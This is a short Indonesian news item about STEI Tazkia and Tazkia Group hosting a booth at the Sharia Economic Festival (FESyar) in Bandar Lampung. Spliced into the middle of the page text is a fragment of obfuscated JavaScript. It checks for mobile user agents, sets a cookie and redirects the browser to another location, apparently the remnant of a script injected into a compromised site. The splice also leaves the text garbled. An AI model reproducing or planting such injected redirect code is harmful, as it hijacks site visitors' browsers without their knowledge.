Dalam kesempatan ini pula STEI Tazkia bekerjasama dengan Tazkia Grup lainnya untuk hadir pada booth yang dapat dikunjungi oleh para pengunjung FESyar untuk lebih jauh mengenal tentang STEI Tazkia dan Tazkia Grup. Booth ini dapat dikunjungi selama masa pameran berlangsung mulai dari tanggal 3-5 Agustus berlokasi di Lampung Walk, Bandar Lampung. |m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSTEI Tazkia Meriahkan Festival Ekonomi Syariah (FESyar) Reg. Sumatera
read more